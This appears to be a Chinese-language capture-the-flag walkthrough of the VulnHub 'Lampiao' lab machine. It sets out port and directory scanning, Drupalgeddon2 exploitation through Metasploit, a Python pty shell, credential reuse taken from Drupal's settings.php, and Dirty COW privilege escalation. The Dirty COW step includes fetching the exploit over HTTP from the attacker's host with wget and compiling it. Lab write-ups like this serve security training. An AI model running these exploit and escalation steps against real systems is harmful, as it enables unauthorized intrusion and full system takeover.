2-vulnhub Lampiao实战

2-vulnhub Lampiao实战

---

简介：

• 下载地址为：https://www.vulnhub.com/entry/lampiao-1,249/
• 本次的靶机ip为192.168.3.13（桥接模式自动获取）

---

一、信息搜集

1.扫描ip

2.扫描端口这里使用nmap进行：
（开始只扫描出来80和22未果，后来反应过来，有可能网站还有其它端口可以访问，因为-sS参数是扫描常用的1000以内的端口号。于是用-p-参数：nmap -p- 192.168.3.13）
这里有三个端口先访问网站，发现如下是个静态页面什么也没有、文件头，源代码中无有效信息。 只好先看1898

nmap -p 1-65535 -sV 192.168.3.13
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-06 00:56 CST
Nmap scan report for 192.168.3.13
Host is up (0.00046s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http?
1898/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

3.扫描目录这里使用dirb：

dirb http://192.168.3.13:1898/                                                
---- Scanning URL: http://192.168.3.13:1898/ ----
==> DIRECTORY: http://192.168.3.13:1898/includes/                              
+ http://192.168.3.13:1898/index.php (CODE:200|SIZE:11400)                     
==> DIRECTORY: http://192.168.3.13:1898/misc/                                  
==> DIRECTORY: http://192.168.3.13:1898/modules/                               
==> DIRECTORY: http://192.168.3.13:1898/profiles/                              
+ http://192.168.3.13:1898/robots.txt (CODE:200|SIZE:2189)                     
==> DIRECTORY: http://192.168.3.13:1898/scripts/                               
+ http://192.168.3.13:1898/server-status (CODE:403|SIZE:294)                   
==> DIRECTORY: http://192.168.3.13:1898/sites/                                 
==> DIRECTORY: http://192.168.3.13:1898/themes/                                
+ http://192.168.3.13:1898/web.config (CODE:200|SIZE:2200)                     
+ http://192.168.3.13:1898/xmlrpc.php (CODE:200|SIZE:42) 

4.相关信息：

内容管理系统（CMS） 
 Drupal 7
Web 服务器 
 Apache 2.4.7
编程语言 
 PHP 5.5.9
操作系统 
 Ubuntu
JavaScript 库 

jQuery 1.4.4

---

二、进行getshell

1.1898端口查看录音 对网站进行信息搜集
这里访问首页发现最下面有一个文件LuizGonzaga-LampiaoFalou.mp3进行访问：http://192.168.3.13:1898/LuizGonzaga-LampiaoFalou.mp3
是一段录音似乎没什么用
继续对网站进行信息搜集：

2.发现有robots.txt
进行查看一波发现http://192.168.3.13:1898/includes/处有目录遍历
再include里面看见有什么数据库的配置文件好像没什么用…因为之前信息搜集时发现他框架是Drupal 7所以这里可以进行一波漏洞搜集，百度查一下：
(使用2018年这个漏洞。Drupal 在3月28日爆出的一个远程代码执行漏洞，CVE编号CVE-2018-7600）分析及 PoC 构造：

3.使用msf
试一下:

use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.3.13
set RPORT 1898
shell

成功获取shell！

---

三、提权

1.进入Python交换式Shell：
执行shell获取交互式命令，由于我们获取的shell并不是一个具有完整交互的shell，对于已经安装了python的系统，我们可以使用python提供的pty模块，只需要一行脚本就可以创建一个原生的终端，命令如下：

python -c 'import pty; pty.spawn("/bin/bash")'

2.根据网上大佬的文章可以发现有四个没有发现的文件：
这里我们可以在本机电脑上进行查看(使用scp这里将不再进行描述)

查看结果：
qrc.png：一个二维码，扫出来的结果是 Try harger! muahuahuahua，被作者鼓励了。。
audio.m4a：提示为user tiago，说明要先找到用户tiago的密码这里先放到一边
uizGonzaga-LampiaoFalou.mp3：一首音乐刚刚听过，没有什么东西
lampiao.jpg：一张牛仔的图片，丢入binwlak中未发现有什么隐写

3.找到了用户名 查看配置文件（不知道密码）
但是我们不知道密码在前面我们看到了有databade所以说一般网站有数据库的配置文件
我们继续翻找配置信息在/var/www/html/sites/default文件当中我们在settings.php找到了配置文件

4.登录mysql
既然知道了数据库的账号和密码 我们可以登录一波：

mysql -u drupaluser -p
mysql -u drupaluser -p
Enter password: Virgulino

(这里有几个思路 我们可以在数据库当中查看密码 也可以自行使用九头蛇爆破 )
因为之前在配置文件当中看到了密码所以使用密码 Virgulino尝试登录一下刚刚提示的tiago用户,最后试了试mysql数据库root的密码，结果密码也是tiago的登陆密码，成功获取Mysql数据库的root权限。

5.ssh登录
既然我们已经知道了用户名密码 那么我们现在ssh可以进行登录：

账号：tiago
密码：Virgulino

6.登录成功、查看版本信息
继续进行信息搜集：

uname -a
Linux lampiao 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 i686 i686 GNU/Linux

7.这里使用脏牛提权

searchsploit dirty cow pri esc
查找脏牛提权的exp

searchsploit  -m  40847.cpp
-m   复制到当前目录下

进行下载：
搭建http服务进行EXP文件传输
python3 -m  http.server 8000

进行下载：wget http://192.168.3.12:8000/40847.cpp

8.进行编译生成一个 dcow文件：

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

进行执行：
成功提权！！！！

9.找到flag

cd /root
root@lampiao:~# ls
flag.txt
root@lampiao:~# cat flag
cat: flag: No such file or directory
root@lampiao:~# cat flag.txt
9740616875908d91ddcdaa8aea3af366
root@lampiao:~# 

大功告成！！！